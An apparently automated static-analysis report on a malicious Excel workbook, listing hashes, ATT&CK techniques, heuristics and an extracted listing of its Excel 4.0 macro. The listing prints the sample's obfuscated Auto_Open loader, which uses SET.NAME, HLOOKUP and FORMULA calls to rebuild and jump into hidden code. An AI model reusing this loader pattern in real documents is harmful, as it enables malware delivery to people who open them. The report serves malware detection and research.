Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3517fc8e5fa63c2d…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:40:07 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: 748584ae38991fe338f66b56c59eea80 SHA-1: af6c54a160588d27aa17d80a1efeabab34e5b619 SHA-256: 3517fc8e5fa63c2dc42ae9c01b6b31bad9852389fc3793d781cf849d48472a48
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a known technique for executing malicious code upon opening the workbook. The heuristics indicate the use of dangerous formula APIs, suggesting the macro is designed to run external commands or download additional payloads. No specific URLs or hashes were extracted, but the presence of XLM macros and the Auto_Open entry strongly indicates a malicious intent to execute arbitrary code.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6523 bytes
SHA-256: 2c9d9216e7e46c1fdac3acd6b77e5107a2c15b0bbefd52f8c6d7c75c5ea21c6a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yugPGXMa
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G157 
' 0018     25 LABEL : Cell Value, String Constant - bnPDFyHaic len=0 
' 0018     22 LABEL : Cell Value, String Constant - BXmjnDV len=0 
' 0018     24 LABEL : Cell Value, String Constant - CwbMuXUUh len=0 
' 0018     21 LABEL : Cell Value, String Constant - DPksvR len=0 
' 0018     25 LABEL : Cell Value, String Constant - dUYKNvwExr len=0 
' 0018     22 LABEL : Cell Value, String Constant - GYmBYhI len=0 
' 0018     27 LABEL : Cell Value, String Constant - IsPYOmjPLBSZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - jbcTNlD len=0 
' 0018     24 LABEL : Cell Value, String Constant - jUQbAnWCi len=0 
' 0018     26 LABEL : Cell Value, String Constant - kOyuaTkFQbg len=0 
' 0018     26 LABEL : Cell Value, String Constant - LYQPfMCLAae len=0 
' 0018     23 LABEL : Cell Value, String Constant - PDZisnxh len=0 
' 0018     23 LABEL : Cell Value, String Constant - pIJHmGHW len=0 
' 0018     24 LABEL : Cell Value, String Constant - pVwiWUIZI len=0 
' 0018     24 LABEL : Cell Value, String Constant - qEefuHqMY len=0 
' 0018     20 LABEL : Cell Value, String Constant - QtQGY len=0 
' 0018     24 LABEL : Cell Value, String Constant - thzWyBGzR len=0 
' 0018     23 LABEL : Cell Value, String Constant - uDwwLcCK len=0 
' 0018     24 LABEL : Cell Value, String Constant - YZOgjSHuV len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZTBBP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yugPGXMa,G66,"SET.NAME("QtQGY",VALUE("0"))",""
'  yugPGXMa,G71,"SET.NAME("dUYKNvwExr",QtQGY)",""
'  yugPGXMa,G74,"SET.NAME("DPksvR",QtQGY)",""
'  yugPGXMa,G76,"SET.NAME("GYmBYhI",COUNTA(jbcTNlD))",""
'  yugPGXMa,G80,"SET.NAME("PDZisnxh",COUNTA(CwbMuXUUh))",""
'  yugPGXMa,G83,[],""
'  yugPGXMa,G88,"SET.NAME("ZTBBP","")",""
'  yugPGXMa,G92,"dUYKNvwExr",""
'  yugPGXMa,G96,"SET.NAME("BXmjnDV",HLOOKUP("*",jbcTNlD,dUYKNvwExr,FALSE))",""
'  yugPGXMa,G99,"IsPYOmjPLBSZ",""
'  yugPGXMa,G101,"SET.NAME("pIJHmGHW",QtQGY)",""
'  yugPGXMa,G104,[],""
'  yugPGXMa,G106,"pIJHmGHW",""
'  yugPGXMa,G111,"bnPDFyHaic",""
'  yugPGXMa,G113,"pVwiWUIZI",""
'  yugPGXMa,G115,"uDwwLcCK",""
'  yugPGXMa,G120,"SET.NAME("LYQPfMCLAae",VALUE(HLOOKUP("*",CwbMuXUUh,uDwwLcCK,FALSE)))",""
'  yugPGXMa,G123,"qEefuHqMY",""
'  yugPGXMa,G127,"ZTBBP",""
'  yugPGXMa,G132,"DPksvR",""
'  yugPGXMa,G134,NEXT(),""
'  yugPGXMa,G136,"YZOgjSHuV",""
'  yugPGXMa,G140,"SET.NAME("f",INT(T(FORMULA(T(ZTBBP)&"",""&T(YZOgjSHuV)))))",""
'  yugPGXMa,G144,"kOyuaTkFQbg",""
'  yugPGXMa,G149,NEXT(),""
'  yugPGXMa,G152,RETURN(),""
'  yugPGXMa,G177,"SET.NAME("jUQbAnWCi",G66)",""
'  yugPGXMa,G179,"jbcTNlD",""
'  yugPGXMa,G181,"SET.NAME("CwbMuXUUh",R69C14)",""
'  yugPGXMa,G185,"SET.NAME("kOyuaTkFQbg",194)",""
'  yugPGXMa,G188,"SET.NAME("thzWyBGzR",7)",""
'  yugPGXMa,G193,jUQbAnWCi(),""
'  yugPGXMa,G194,HALT(),""